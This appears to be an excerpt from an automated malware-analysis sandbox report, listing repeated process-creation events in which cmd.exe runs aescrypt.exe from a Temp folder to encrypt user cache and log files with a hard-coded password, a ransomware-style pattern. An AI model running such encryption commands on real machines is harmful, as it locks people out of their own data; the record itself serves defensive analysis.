Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
